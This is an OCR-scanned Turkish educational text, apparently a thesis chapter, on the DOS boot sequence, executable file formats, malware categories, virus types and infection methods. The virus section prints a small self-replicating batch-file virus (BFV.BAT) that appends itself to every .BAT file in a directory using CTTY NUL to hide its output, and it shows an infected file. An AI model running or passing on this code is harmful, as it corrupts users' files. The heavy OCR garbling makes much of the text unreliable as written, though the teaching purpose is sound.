rini tayin ederek kendisini yiiksek seviyeli bellege tasar.
Bundan sonra DOS niiveyi (IBMDOS.COM) &zgiin yilkleme nokta-
sindan alip SYSINIT’in ilk 8nceleri kayit edilmisg oldugu
bellek b&lgesinin lizerine yazar,

ROM #nyilkleyici programa

~s—— RAM‘1n tepesi
SYSINIT (IBMBIO.COM’dan)

Kurulabilir siiriliciiler

Dosya kontrol bloklar:

Disk tamponlara

DOS niive

kesin lokasyon

BIOS

00400H
Kesme vektirleri

NOCOOH

Sekil 5.4 - SYSINIT kendisini yiiksek seviyeli bellege
tekrar konumlandirir(relocate); DOS niiveyi
SYSINIT  in ilk bulundufu alana sarkitair.
Bundan gonra D0S‘un disk tamponlarini ve d-s-
ya denetim bloklarini olusturma yoluna gidi~-
lir. CONFIG.SYS dosyasinda belirlenen kuru-
labilir aygit siiriiciileri ylklenir ve sisteme
baglanir.
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Ote yandan SYS!NIT, IBMDNS.CCOM’°da yer alan baglangic-
durumuna getiren kod parc¢asina bir c¢agri yapmaktadir, DOS
nlive kendi i¢ tablo ve caligma alanlarini baglangic-durumu-
na ayarladiktan sonra, 20H dan 2FH’ye kadar olan kesme vek-
térlerinin kurgusunu gerceklestirir; birbiriyle baglantisi
saglanmig kalici aygit siirliciilerin lizerinden gecerek, her
birinin baglangic¢c konumlarina ayarlanabilmesi icin gerekli
baglangi¢c-durumuna getiren fonksiyonlari gtreve kosar.

Baglingic-durumuna getiren islemlerin bir parcasi ola-
rak DOS niive kalici blok aygit sliriiclilerinden dsnen disk
parametre bloklarini incelemektedir; sistemde kullanilacak
en bliylik kesim biiyiikliiglini belirler ve bazi siiriicli paramet-
re bloklarini insaa ederek bir disk tamponu tahsis eder.

Bu sekilde DCS niive ve kullanilabilir biitiin kalici
aygit siirliclileri islem yapmaya hazir duruma getirilmis ol-
duklarindan SYSINIT, DCS’un normal dosya servislerini kul-
lanarak CONFIG.SYS dosyasini acmaktadir. Bu secimlik dos-
ya ile DOS’un esas parcasi olmayan cevre aygitlars DOS or-
tamiyla entegre edilir. CONFIG.SYS dosyasina meseld DE-
VICE=MOUSE.SYS satiri eklendifi takdirde, DOS’un calisma
ortamina Fare(Mouse) aygit siiriiclisi tanatilmis olur.

CONFIG.SYS dosyasi tespit edildiZi takdirde islenmek
Uzere tamami bellefe yilklenmektedir. Biitlin kiiciilk harfler:
bliylik harflere doniistiiriilerek, dosyada yer alan komutlar
dizisi teker teker isletilir., CONFIG.SYS dosyasinda belir-
tilen aygit siirliciileri sirasiyla hafizaya alinirlar; icer-
dikleri baslangic-durumuna getiren birimleri yardimiyla,
kendilerini calismaya hazir duruma sokarlar. Bunun yanin-
da her siirliciiniin gereksinim duydugu hafiza miktari SYSINIT
birimine bildirilir.

Tim kurulabilir aygit siiriiclileri yiiklendikten sonra
SYSINIT biitiin dosyalari kapatir, konsolu{(CON), yaziciyi ve
yardimci aygitlari tekrar standart girdi, standart gikti,
standart nata, standart liste ve standart aygitlari olarak
acar,
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Son olarak SYSINIT komut isleyicisini (COMMAND, COM)
yﬁkiemektedir. Komut isleyicisi bir kere yiklendikten
sonra, uyari imini gorintileyerek kullanicidan komut girme-
gini beklemektedir.{1]

ROM bnylikleyici programa

EAM’1n teresi

COMMAND.COM”un gecici kisma

Gecicil program bblgesi '

COMMAND,.COM’un kalici kismi

Kurulabilir siiriiciiler

Dosya kontrol bloklara

Digk tamponlari

DOS niive

kesin lokasyon

B10S

004 00H

Kesme vektbrleri

00000H

Sekil 5.5 - CCMMAND,.COM un kalici kisma DCS niivenin
st tarafanda yer almaktadir: teplu islem
dosya~igleyicisini ve i¢ komutlari igeren
gegcici kisim ise bellefin yiiksek seviyele-
. rine yerlegtirilir. Bu kisam uygulama prog-
ramlara tarafindan Srtiiletilir. )



6. DOS ISLETIM SISTEMININ DOSYA FCRMATLARI

Disk iizerinde depo edilen her dosyanin kendine dzgl
bir veri format.i vardir; bu format, dosyanin icinde kayit
edilmig verilerin yapisini belirlemektedir.

Bir dosyanin ardindan gelen lig-karakterlik uzanti adi
dosya adinin bir parcasi olmakla beraber, dosya formatinin
da bir gostergesidir. Bazi dosya adL uzantilari standart-
tir ve dosyanin tipini belirleyebilmek igin dogru sekilde
kullanmak gerekmektedir.

DOS igletim sisteminin zorunlu kildifi dosya adi uzan-
ti1 adlari sirasiyla .COM, .EXE ve .BAT  tir. Bunlarin di-
sinda kalan dosya adi uzanti adlari secimliktir. Sozgeli-
mi BASIC yorumlayicisi, BASIC program dosyalarinin sonunun
.BAS ile sonlanmig olmasini beklemektedir. Difer  yiiksek
seviyeli diller hakkinda da ayni seyi sdylemek miimkiindiir.

Ote yandan .CCM, .EXE ve .BAT uzantilarindan  birine
sahip program veya dosyalar c¢alisgtirilabilir (executable )
programlardir. Baska bir deyigle .COM, .EXE ya da .BAT u-
zanti adina sahip bir dosyayi DOS’un komut satirindan ca-
ligtirmak gerektiZinde sadece dosya ismini girmek yeterli
olacaktir, Ornegin XPLUS.COM adinda bir program komut sa-
tirindan sadece nrogramin adi yani bu Ornekte XPLUS giri-
lerek caligtirilabilecektir.

6.1 .CCM dosyalara
.COM programlari c¢ofunlukla makina komutlarindan olu-

san programlardir. Bu yilizden gok cabuk isletilebilmekte
ve diskte az yer iggal etmektedirler.|[1]
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DOS bir .C"M dosyasini bellefe ylikledifi zaman bunun
hemen basina bir program bsliim baglifi (Program Segment
Prefix-PSP) kurmaktadir. .EXE dosyalar igin de dbu ©baslik
kurulur, ancak .COM dosyalarinda bir kisitlama mevcuttur.
S6zil edilen PSP ortak olan bir tek bsliimlin icersinde  yer
almak zorundadir. .EXE dosyalarinda ise b6yle bir sinair-
lama sdzkonusu degildir. .FXE dosyalar icin PSP bellegin
herhangi bir yerinde bulunabilir. Bununla birlikte bdiitiin
.COM dosyalari tek bir 64K uzunlugundaki bir bellek alani-~
na sifmak zorundadir.

Tipik bir .COM dosyasinin PSP si bellekte CS:0000 ile
CS:00FF arasindadir; bunun hemen arkasindan CS:0100’ den
baslayarak programin kendisi gelmektedir. .COM dosya bel-
lefe yliklendiginde biitiin bdliim yazmaclari(CS, DS, ES ve SS)
ortak olan bir t¥liim deferine ayarlanirlar. Hatta yigin
bileAéynL bolimiin icersinde yer almaktadir. IT0S, ,COM dos-
yalarinda yigini bdliimiin en sonuna yerlestirmektedir.

Program bsliim bagligi 256 bayt(100H) uzunlugundadir
ve vrogramimizin gereksinim duydufu biitiin yardimlari  DOS
bu baglik icinde sunmaya ¢alismaktadir.

55:5¢
Yxihn. b8limiin basindan
agagiya dogru biylr
Program xodu ve verileri
CS:1"10CH
Program bSlum baglifs
CS:CCIONH
B3 : OCOOH
ES:0CNOH
SS:0CCOH
Sekil 6.1- Bir .COM tipl programinin bellefe

yiklendikten sonraki gdrilntinii. COM
dosyanin icerifi hemen PS?'nin Ust
tarafina yerlegtirilir. Program kodu
ve verileri ayni b¥limil paylagirlar,
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6.2 .EXE dosyalaris

Bir tek boliimiin icersine sigmak zorunda olan .COM dos-
yalarinin tersine, .EXE dosyalari kullanilabilir bellek a-
laniyla sinirlidir. Bu haliyle .EXE dosyalarin program kod
ve verileri ayri bdliimlerde dagitik bir sekilde bulunabil-
mektedir. (1]

DOS, bir .EXE dosyasini diskten bellege yiiklerken ,EXE
dosyasinin hemen baslarinda bulunan bir bagliktan(header)
yararlanir. S¢zi edilen baglik igersinde dosya icin gerek-
1i bilgiler yer almaktadir. DOS bu bilgileri kullanarak
.EXE dosyanin icinde yer alan kodlarin konumlarini, difer
bir ifadeyle adreslerini yeniden .EXE dosyanin bellekte
yiklenmis oldugu bdlim adresinin degerine gére hesap etmek-
tedir (relocation). Bu yinelemeli konum hesabinin ardin-
dan .EXE dosyanin i¢inde bulunan kodlarin birbiriyle olan
referanslarinin teskilinden sonra .EXE programi calistiri-
labilir hale getirilmisg olur.

58:SP
YiZin b81UmU: yigan, b8lUmin 8¢5
bagindan agafiya do&ru buyur
J S$8:0000H
Veri bdltmi
Program kodu
cS:oreny
Srogram bilum baglifa
DS:0000H

Sekll g5,2- Bir .EXE tipi dosyanin bdelle
yuklendik~zen sonrgkl gdrﬁnﬂmgf
-EXE dosyanin {c¢erifinin xonumlari
tekrar nesaplandixtan sonra, bslim
baglafinin hemen st kismina yerleg-
tirilir.lod,veri ve yrgin amtatawil’
bHlimlerdedir; gekildexi sirayi iz~

-

lemek zorunda degildir,
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6.3 .BAT dosyalari

Toplu islem dosyalari (batch files) $zel ASCII metin
dosyalaridir. Bu tiir dosyalar DOS komutlarini ihtiva et-
mektedirler. .BAT dosyalarini olusturmaktaki amac zaman-
dan ve bilgisayar bellegfinden tasarruf etmektir.[1]

Toplu islem dosyalarinin DOS komutlarini ihtiva etme-
sinden baska bir de kendisine Ozgil bir programlama dili
mevcuttur. Birkac komuttan tesekkiil bu dil ve DOS’un ko~
mutlariyla birlikte glicli yazilimlar gerceklestirilebilmek-
tedir.

+BAT dosya bir kez bir kelime islemci kullanilarak ya-
zildiktan sonra, sadece program ismini girmekle bir dizi
iglem bir tek komut satirina indirgenmis olmaktadir. Bte
yandan AUTOEXEC.BAT dosyas. difer .BAT dosyalarindan sadece
bir hususta ayrilmaktadir. AUTOEXEC.BAT dosyasi sistemin
acilisgi sirasinda otomatikman yliklenir ve isleme sokulur.,
Bu dosya, bilgisayarin calisma ortamini kurmak ve herhan-
gl Sonlan-ve-Kal tipi programlarini yiklemekle g&revlidir.



7. BItGISAYAR VIRUST.ERI

Bilgisayar virlisleri, kelime iglemci, hesap tablolari
veri tabani ybneticileri gibi bilgisayar yazilim programla-
ridir. Bagka bir anlatimla, bunlar da bilgisayara neleri
isletmesi gerektigini bildiren bir dizi komutlardan meyda-
na gelen yazilimlardir. Bu sebeple bilgisayar viriisleri
ana bilgisayarin (host computer) isletim sisteminin destek
verdigi biitiin islemleri bagka herhangi yasal bir yazilimi-
nin igletebilmesi gibi yerine getirebilmektedir.[3]

Kullanicinin kullandigi birgok yazilim programlari ,
kullanicinin giristifi islemleri dikkatle denetlemekte ve
gerektifi zaman "Dikkat! Var olan bir dosyaya yazmak iize-
resiniz! Devam(E/H)?" ya da "Dikkat! Isteminiz biitiin dos-
yalari silecektir! Devam(E/H)?" seklinde iletiler goriintii-
lemektedir. Tehlikelere isaret eden bu uyarilar kullani-
ciLyi, bilmeyerek ya da istemeyerek sebep clabilecegi ve
dolayisiyla telafisi cok zor veya miimkiin olmayan bilgi ha-
sarina ya da bilgi kaybina karsi emniyete alma hizmetini
giitmektedirler. Bunun yaninda herkesce bilinen bir gercek
olan o esrarli komut dizimine sahip disk isletim sistemle-
ri bile, bozucu faaliyetlerini calistirmadan once kullani-
clyil aqu,‘kar;glklxéa meydan vermeyen climlelerle uyarmaks
tadir.

Biitiin bunlara karsin bilgisayar viriisleri ve diger
kdtii niyetli programlar gercekte tilm yasal yazilimlarla ta-
ban tabana zit bir tarzda galismalari icin tasarlandiklari
bir gercektir. Viriisler, kullanicinin bir istemi olmadan
kendisini yilkler ve galigtirir; normal programlarin (host
programs; icersinde gizlenip ana program qallgtléxnda ken-
disi de aktive olmaktadir. ViriUsler kullanicidan izin al-
maksizin harekete gegerler ve kullanicilari yaptiklari et-
kinliklerden haberdar etmemektedirler. Viriisler hatalarla
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karsilastiklarinda, hata iletisi gOriintiilemeksizin ve kul-
lanicidan hatayi gidermek icin, herhangi bir yardim iste-
minde bulunmadan hatalar.ni diizeltme yocluna giderler (veya
buna tegebbiis ederler). Uzet olarak virilisler islevlerini
gizlice yerine getirmek lizere tasarimlanmislardir.

te yandan herhangi yasal bir yazilim programinin ya-
pabilecegini viriisler de yapabilmektedir; ancak perde ar-
kasinda. Viriisler diskleri formatlar, kopyalar, dosyalari
yeniden isimlendirir veya siler, kendisini yeni bilgilerle
sekillendirerek gogaltabilir, dosya tarihlerini ve nite-
1igini defistirir, bilgisayara dosyalari yiikletir ve sak-
lamasi icin emir verir vs. “izetle normal bir yaziliminin
yapabilecegil her isin viriis de rahatlikla listesinden gele-
bilmektedir.

Diger taraftan, siipheli veya zararli bir programin vi-
riis olarak etiketlenmesini saglayacak 6lciitil veren teknik
bir tanim mevcuttur. Bu tanima gore, bir viriis, calistiri-
labilir ve bélki de kendi yapisini bozmaksizin degisti-
rilmig (altered) bir kopyasini bagka programlarin icersine
sokabilmek icin, diger programlari modifiye eden bir yazi-
limdar.

K6t niyet arz eden bir programin saglamasi gereken
en az ic dge, bir bilgisayar virlisi modeli icin Ongdriilen
kriteri vermektedir:

O calistirilabilir olmak
O kendisini cogaltabilme yeteneginde olmak

O diger calistirilabilir objeleri viral (vi-
rlise ait) grublara ddniigtiirmek

Asagidaki program tamamiyla DOS altinda isleyen top-
lu iglem dosya dilinde yazilmistir. Bu drnek program vi-
riis tanimina uygun diismektedir.
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echo =~ BFV,.BAT'in sonu

Yukardaki toplu iglem dosyasina viriis nitelifini ka-
zandiran tek komut asagidaki komut satiridir:

for %% f in (#.bat) do copy %% f + bfv.bat

Bu program kodu DOS isletim sistemi altinda calisan
bir bilgisayara, BFV.BAT in bir konyasini aktif dizindeyer
alan bilitin .BAT dosyalarinin sonuna eklemesini emretmekte-
dir. Toplu islem dosya viriisii bir defa calistirildifi za-
man, aktif dizindeki bilitiin ,BAT dosyalari BFV.BAT in bir
kopyasini tasiyor olacaklardir.

REM "OBF.BAT"isimli 8zgiin .BAT dosyasi ;
REM

REM Ozgiin toplu islem dosyasi buradan basliyor
REM

REM Ana dizine ddéniin

REM Bunun ig¢in CD(CHDIR) komutunu kullanin

REM

REM CD

REM

REM DIR’i kullanarak dizini gbriintiileyin

REM

REM DIR

REM

REM {zglin toplu islem dosyasi burada sona

REM eriyor.

Sekil 7.1 - Toplu iglem dosya viriisi bulasmadan Snceki
bir .BAT dosyasi.
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(1)¢ézgﬁn (OBF.BAT) toplu islem dosyasi ile birlikte disk-
te toplu islem dosya viriisii (BFV.BAT) ve bagka bazi
dosyalar bulunmaktad.r:

OBF.BAT INSTALL,.BAT RUN.BAT BFV.BAT

(2) Toplu iglem dosya viriisii galistirilir; kendini  8zgin
toplu iglem dosyasi OBF.BAT a, ayni dizindeki difer bii-
tiin .BAT dosyalarina ve nihayet kendisine yapigtirir:

OBF.BAT INSTALL.BAT RUN,BAT BFV.BAT

BFV.BAT BFV,.BAT BFV.BAT BFV,BAT

Sekil 7.2 - Bir toplu islem dosya viriisii enfeksiyonu
rnegi,

Asagidaki sekil ise yukardaki seklin bir devami nite-
ligindedir.

(irnek olarak OBF.BAT toplu iglem dosyanin enfeksiyomu
gosterilmektedir. Toplu islem dosya viriisi bulundugu di-
zinde caligtirilir calismaz kendisini OBF,.BAT dosyasinin
sonuna eklemektedir. Burada dikkati ceken bir husus s&z-
konusudur. Toplu iglem dosya viriisiiniin kendisini kendine
ve diger .BAT toplu islem dosyalarina yapistirdiktan sonra
bir daha bu dosyalara bulasmamasi icin bir kontrol meka-
nizmasi icermemektedir. Bu yilzden bu dizinde yer alan tovo-
lu iglem dosyalarinin uzunluklari calistirildiklari  tak-
dirde her defasinda viriisiin boyu kadar artacaktar.

Sekil 7.3 toplu islem dosya virlisiiniin daha Snceki
versiyonuyla islev bakimindan Gzdestir; fakat ilk versiyon-
da yer alan agiklamalar ve echo ifadeleri 6zliililkk saglama-
81 acigsindan silinmistir.
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REM "(OBF.BAT" isimli &zgiin .BAT dosyasa

REM

REM Uzglin toplu islem dosyasi buradan basliyor
REM

REM Ana dizine d&niin v

REM Bunun icin CD(CHDIR) komutunu kullanin

REM CD

REM

REM DIR’i kullanarak dizini gbriintiileyin
REM

REM DIR

REM

REM Uzgiin toplu iglem dosyasi burada sona
REM eriyor.

REM 0Ozgiin toplu islem dosyasi D0S’a ddnecegi
REM yerde, toplu iglem dosya viriisiiniin hazirla-
REM dif1 tuzafa diigerek bunun kodunu galigtir-
REM maktadar.

€ ECHO OFF

ECHO OFF

CTTY NUL

FOR %% F IN (#.BAT) DO COPY %% F + BFV.BAT

CTTY CON

Sekil 7.3 - OUzgln toplu iglem dosyanin, toplu iglem
dosya viriisii tarafindan enfekte olmus hali.

7.1 Kotd niyetle hazirlanmig programlar

Kotl niyetli programcilar tarafindan sikca tercih e-
dilen Truva ati (Trojan horse) yararli bir programmis iz-
lemini uyandirmaktadir; ancak bunlar gercekte iclerinde za-
rar verici komutlar barindirirlar. Truva atlarinin en go-
ze carpan $zellige tebdil gezerek, kullaniciyi normal bir
uygulama programi kullandiklarini kuvvetli bir sekilde i-
nandirmalaridir. Bu aldatmaca truva atinin icersine
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gizlenmis kod parcalari tetikleninceye kadar siirer. Hemen
hemen biitiin k&t huylu programlar truva atlari yardimiyla
son kullanicilara ulasir- viriisler de buna dahildir. (3]

Kamelyonlar (Chameleons) truva atlarina benzer bir
davranisg sergiledikleri icin, kullaniciya yasal bir yazi-
lim programi kullaniyormug hissini vermeye calismaktadir-
lar. Fakat asil gayeleri zarar vermektir, Xamelyonlar uy-
gun bir bicimde programlandiklarinda, yasal uygulama prog-
ramlarinin biitin davranislarini sergileyebilirler.

Yazilim bombalari (Software bombs) k&tid huylu  prog-
ramlar arasinda en kolay gelistirilebileni ve kusursuz ha~-
le getirilebilenidir., Yazilim bombalari harekete gectik-
lerinden hemen sonra adeta patlamaktadirlar, dolayisiyla
bu cesit programlarin gdsterise ve tamamen gizli kalmala-
rina gereksinimleri goreceli olarak azdir,

Mantiksal bombalar (Logic bombs) &Szel cevresel deéig—
kenlerin durumlarina baélx kalarak, gerekli gartlar sag-
landxéx takdirde bozucu komutlarini isletmeye koyulurlar.

Zaman bombalari (Time bombs) zamanla veya sayiyla i-
liskili cevresel deéiqkenlerin durumlarina bagli kalarak,
uygun sartlar saélandlél takdirde zarar verici komutlarim
uygulamaya gecirmektedirler. Bunlar Srnegin belirlenmis
bir sayiL adedince caligtiktan sonra, herhangi bir tarihte
(Cuma’nin 13 veya Nisan 1 gibi) ya da giinlin belirlenmis
bir vaktinde (gece yarisi gibi) zarar vermeye baglarlar.

Bulagicilar (Replicators), bellekte veya disk alanin~
da kendi kopyalarini tutacak yer kalmayana dek {iremektedir.
ler. Bir klonu (kopyasi) olugtuZunda (cocuk) ana program
tarafindan harekete gecirilir; bu kez cocuk kendisini kat~
lar ve denetimi bunlara birakir, bu cevrim b8yle siirip gi-
der. Buradaki asil erek, Gzellikle cok kullanicili ve bil-
gisayar afina dayali bir sistemde sistem kaynaklarini ¢~
kertmek ve bu gekilde ana sistemi islem yavamaz duruma sii-
riklemektir. Bulasicilar, bilgisayar viriislerinden farkli
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olarak kendilerini ne veri dosyalarina yapisgtirirlar ne de
normalde bu gibi dosyalarla asalak olarak tanimlanabilecek
bir iliskiye girerler. Bulasicilar kendi kendine yeterli
tek (stand-alone) programlardir,

Bilgisayar viriisleriyle karastirilan solucanlar(Worms
bilgisayar agina dayali bir sistemde, bilgisayardan bilgi-
sayara, gerekmedikce herhangi bir donanim ya da yazilim bi-
rimine zarar vermeden seyahat eden kotii huylu olabilen ya-
zilimlardir. Ancak af icinde,seyahatlarini siirdiirebilmek
icin, kendilerinin bir kopyasini yapabilmektedirler. AgZ
boyunca gizlice seyahat ederken bilgi toplarlar (bu bilgi-
ler muhtemelen dbkiimanlar veya gifrelerdir).ya da alaya a-
lan, anlasilmasi zor mesajlar birakirlar. AZL denetleyen
sistem operatdrlerine gdriinmez kalabilmek icin ugradiklari
her yerde izlerini yok ederler.

Nihayet kdti huylu programlar arasinda en cok bezdi-
ren ve kullaniciya zor anlar yasatan bilgisayar virilisleri-
dir.

Bilgisayar virisleri kendilerinin calistirilabilir ve
muhtemelen defigtirilmis bir suretini programlara bulagtir-
mak icin, bu programlari deZigtiren kod parcalaridir. Vi-
rliisler kendilerinin kopyalarini sistemin icine yerlestire-
rek onlari bozarlar ve viral kisimlarini lizerlerine yazar-
lar ya da olafan calistirilabilir dosyalarin cevresinde
bir kabuk olugturma yoluna giderler. Uzmanca hazirlanm.s
viriisler ne dosyanin tarih ve zamanlarini ne de onlarin ni-
teliklerini ve bilyiklilklerini degistirmektedirler.



8. YAYGIN VIRUS TiPLERI

Her enfeksiyon teknifi kdti niyetli programcilara a-
vantajlar sunarken beraberinde hic¢ sliphesiz dezavantajlar-
da getirmektedir. Bazi bulagma metodlari, kargitviris ya-
zilimlari tarafindan tespit edilmeleri giic olduklarandan
tercih edilebilmektedir. Ancak bunlarin yazimi girift o-
labilmekte ve bu ylizden yazilmalari ek gayretler gerektir-
mektedir. Diger prosediirlerin kodlanmasi kolay ve dolayi-
s1yla gelistirilmesi piirligsiiz olabilir; fakat bunlar da
bir sistemi tam anlamiyla zayif diigirmeye yetecek kapasi-
tede olamayacaktair. {3]

8.1 Acilig kesimi viriisleri

Kot niyetli programcilara gore disk acilis kesimi en-
feksiyonu (Boot sector infectors-BSIs) diger biitin enfek-
siyon cesitlerinin lizerinde bir avanta} saélamaktadlr. Her
geyden 8nce acilig kesimi virfisleri sistem denetimini, sis-
tem agilar acilmaz sistem dosyalarinin hemen arkasindan
yiklendikleri icin, tamamen ele gecirmis olurlar. Acilas
kesimi viriisi bu sekilde kendisini calistiricak ilk prog-
ram olmayi garanti etmektedir. i§letim sistemi (nitve), ko-
mut igleyicisi (kabuk), toplu iglem dosyalari ve elbette
herhangi bir kargatviriis yazilimi yilklenmezden Once acilis
kesimi virisii denetimi b&ylelikle iizerine almis olmaktadar,[3]

Acilis kesimi viriisleri bellekte kalici (resident) o-
labilirler, bu yuzden bllgisayarin sicakken tekrar acil-
masinl kolayca atlatabilmekteler. Bunlar stzgelimi, dizin
listesinde viral enfeksiyona uéramlg dosyalarin dosya boy-
larani uzamamis gibi gdsterebilmektedirler. BSI'ler ayri-
ca bu hileli bilgiyi, enfeksiyona uéraqu dosyalarin uzun~
luklarini bilinen temiz kopyalariyla karsilastiran karsit-
virils yazilimlarina rapor ederler,
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8.2 Komut igleyicisi viriisleri

COMMAND.COM gibi merkezi komut isleyicilerini enfekte
etmek amaciyla tasarimlanan bu tip viriisler, kétii niyetli
programcilara goreceli olarak belirgin bir fark sunmakta-
dir. IBM-uyumlu makinalarda klavyeden tuslanan bircok ko-
mut COMMAND.COM tarafindan islendifinden komut isleyicisi
viriisii kullanicinin bilgisayarla olan etkilegiminin biiyik
bir bolimiinii denetleyebilme olanafini bulmaktadir., Bu se-
kilde komut isleyicisi viriisii, COMMAND.COM’un ic komutlari
isletilirken normal disk erisimlerin ardina siginmak gibi
firsatlardan istifade edebilir. (3]

Komut igleyicisi virisleri temelde acilig kesimi vi-
rislerinin tasarlanisindaki bircok &geyi kendisinde barin-
dirmaktadir; clnkd her iki tip bilgisayar viriisii de acilis
zamaninda bilgisayara yilklenir, bilgisayar acik kaldigil sii-
re icinde de bellekte yerlegik kalir, bu sayede kullanici-
nin bilgisayarla olan karsilikli bilgi aligverisini hemen
hemen tamamini izleyip denetleyebilir. Bu iki viriis ara-
sindaki temel fark, acilis kesimi viriisiiniin ilk Snce bil- M
gisayarin icine kurulmus olmasidir; komut igleyicisi viri-
sii bilgisayar acilis islemlerini tamamladiktan sonra yiik-
lenir, dolayisiyla etki sahasi daha sinirli kalair.

8.3 Genel amacli viriisler

Genel amacli viriislerin (General Purpose Infectors-
GPIs) bilgisayara giris sekli, acilisg kesimi ve komut is-
leyicisi viriislerin bilgisayara bulasmak icin izledifi yo-
lun ayninidir. Bununla birlikte bu tip viriisler, diislik se-
viyeli dosyalari arayip bulmak veya komut isleyiciyi hedef
almak yerine caligtirilabilir dosyalara bulasmayi tercih e-
derler. Bazi GPI’ler kendilerini bir tek caligtirilabilir
dosyayla sinirlamaktalar- bu dosyalar .COM veya .EXE ola-
bilmektedir. Gaye, program dosyalar;nxn DISKCOPY gibi yar
dimci programlar veya hesap tablolari ve kelime iglemcile-
ri gibi uygulamalar olduguna bakmaksizin bunlara bdulasip
onlari Truva virils tasiyicilarina dﬁnﬁgturmektir.[3]
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8.4 Cok ybtnlU viriisler

Cok y®dnlil viriisler (Multipurpose Infectors-MPIs) su
ana kadar anlatilan virils tiplerinin bir karmasidir, Bag-
langic olarak bu viriisler acilis kesimine ve komut isleyi-
cisine bulasirlar; bundan sonra genel amacli viriisler ola-
rak cofalmaya baglarlar. Cok ysnli virtisler iki veya daha
cok bulaqma tekniZini benimseyerek hayatta kalma diizeyleri-
ni arttirirlar; boylelikle kendilerini tekrar liretirken tek
bulasim boyutuna sinirlayan viriislerin bu iglemde karsilag-
tiklary problemieri en aza indirgemis olmaktadirlar. (3]

8.5 Bellekte-yerlesik viriisler

Gerek acilis kesimi virilisi gerekse komut isleyicisi
viriisi bellekte-yerlesik viriisler sinifina dahil edilebi-
lir. Belirli tus kombinasyonlariyla hayata gecirilen TSR
(Terminate-and-Stay Resident/Sonlan-ve-Kal)’lerin aksine
bellekte-yerlesik virlisler bu tilr tus takimlarina ihtiyac
duymazlar; bunlar yliklenir yillklenmez aktif hale gecerler
ve bilgisayar acik kaldifi siire icinde de bu durumlarini
korurlar. [3]

Bellekte-yerlegik viriisler bellekte daima yiikli{ ve ak-
tif vaziyette kaldiklarindan, bilgisayarin bircok operasyo-
nuna miidahale edebilirler. Klavye komutlari yolundan cev-
rilebilir ya da 6nlenebilir, ekran ciktisi tahrif edilebi-
lir ve disk verisi izlenebilir. Bu virilsler iistelik ana
sistemlerini siirekli denetleyerek henilz enfekte 6lmam1§ dos~
yalari, bilgisayar igslem halinde olmad1§1 bos aralarda en-
fekte etmektedirler.



9. BILGISAYAR VIRI'STERI TARAFINDAN YAYGIN OTARAK
KULLANILAN ENFEKSIYON METODTARI

Genelde bilgisayar viriisleri tarafindan kullanilan bes
bulasma (enfeksiyon) ytntemi bilinmektedir. Elbette bu-
nun yaninda daha basgka, sistemi ctkerten sekilleri mevcut-
sa da, agagida siralanan ytntemler, kBtil niyetli programci-
lar tarafindan en fazlasiyla tercih edilenleridir:l3]

O Ekleme (Appending)

0O Dpahil etme (Insertion)

O Yeniden ydnlendirme (Redirection)
O Yerine koyma (Replacement)

O viral kabuk (The viral shell)

9.1 Ekleme ydntemi
Kendilerini ikili formda bulunan calistirilabilir
program dosyalarin.n sonuna yapirstiran viriisler, ekleme bu-

lagma yéntemini kullanmektadar. (3]

Bulasmadan &nce

PROGRAM. EXE

Dosya boyu= 10240 bayt

Bulasmadan sonra

PROGRAM.EXE

VIRAL KOD

"Dosya boyu= 10240 bayt + viral kodun boyu

Sekil 9.1- Bir virilsiin kendisini bir programa ekleyerek
sebep oldugu enfeksiyon turi.
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Sekil 9.1°de gbriildifi Uizere ana calistirilabilir dos-
ya o sekilde degistirilir ki, program igletilmeye  bagla~
t1ldifinda denetim ilk “nce programa eklenen viral koda
gecmektedir., Eklenen viral kod kendisini aktive eder ve
zarar verici islemlerini basariyla tamamladiktan sonra de-
netim, sanki hicbir sey olmamiscasina ana dosyaya iade e-
dilmektedir.

Bulasilacak dosyanin formatina bagli olmak iizere, ken-
disini bir programa ekleyen viriisler, ana programdan dene-
timi almak igin farkli teknikler kullanmak zorundadirlar,
Meseld .COM ve .EXE programlarinin bellege yliklenisi bir-
birinden farklidir, dolayasiyla bu programlari bellekte ca-
ligtirabilmek igin ayri algoritmalar kullanilir. Ko6td ni-
yetli programcilar viriis geligtirirken bu ince farklari
g0z tnlinde tutarlar. Aksi takdirde yazilan virils kendisi-
ni sadece bir tek galigtirilabilir dosyaya bulastirabile-
cektir.

9.2 Dahil etme ydntemi

Program kodlarini dogrudan dogruya caligtirilabilir
program dosyalarinin kullanilmayan kod veya veri bdlimle-
rine sokan virlisler bu ydntemi uygulamaktadir. Ana dos-
yalar ekleme enfesiyonunda olduéuna benzer bir deéigmeye
ugrarlar; ancak burada virislu kod, programin sonuna ya-
pigtirilmaktan ziyade programin icersine dahil edilmekte-
dir. (3]

Bu ydntemi kullanan. viriislerin yazimi ekleme ydntemi-
ni kullanan virilislerin yazimindan daha gli¢tiir; ciinkii dahil
etme ydntemini uygulayan viriislerin kod uzunlufu minimum-
da tutulmalidir. Bircok durumda viriisiin yararlanmak iste=-
digi kullanilmayan bog program arasi alanlari bulmak zor
olabilir, bulunsa bile kullanisli olmayabilir. Viriisiin
kod uzunluéuna getirilen bu kisitlama, k&t niyetli prog-
ramcilarin viriislerinden yerine getirmesi istedikleri is-
levlieri ciddi bir gekilde dar bogaza siirmektedir, bu ise
viral kodun adaptasyon kabiliyetini azaltmaktadir. Ute
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yandan ekleme metodunu kullanan viriisler herhangi bir bi-
yiklikte olabilir. fzellikle .EXE dosyalari i¢in bu durum
gecerlidir., Agaéldaki gekil dahil etme ydntemini uygula-
yan bir viriis goriilmektedir.

Bulagmadan once

PRCGRAM.EXE

Dosya boyus= 10240'bayt

Bulagmadan sonra

— i e, -

PRMG [VIRAL KOD|RAM,EXE

Dosya boyu= 10240 bayt

Sekil 9.2 - Bir virisin kendisini bir programin icine
sokarak sebep oldufu enfeksiyon tiirii.

9.3 Yeniden ydnlendirme ytntemi

Sofistike viriis programcilarin kullandif: ilginc ve i-
leri bir yaklasim, yeniden yotnlendirme ydntemine dayaly
enfeksiyondur. Bu yontem uyarinca merkeéi bilgisayar vi-
riisleri (bilgisayar viriislerini denetleyen cekirdek) bir
veya daha fazla fiziksel disk alanina gizli olarak yerles-
tirilmektedir; ya da olagan bir gizli dosya olarak depo~
lanir. Cekirdegi teskil eden viriisler veya bagka bir de-
yisle "master" viriisler ekleme ve dahil etme ytntemini kul-
lanarak, normal caligtirilabilir dosyalar arasina cok kii-
cilk ig¢i viriis kodlar: asilar. Bu kodlar, bulasmaya ugra-
mis ana dosya qalxstlrlldlél zaman aktif hale gecip prog-
ram akisini bir gaérl yavarak ana merkezde bulunan viris
kod parcasina yonlendirir. Buradaki master viriisler daha
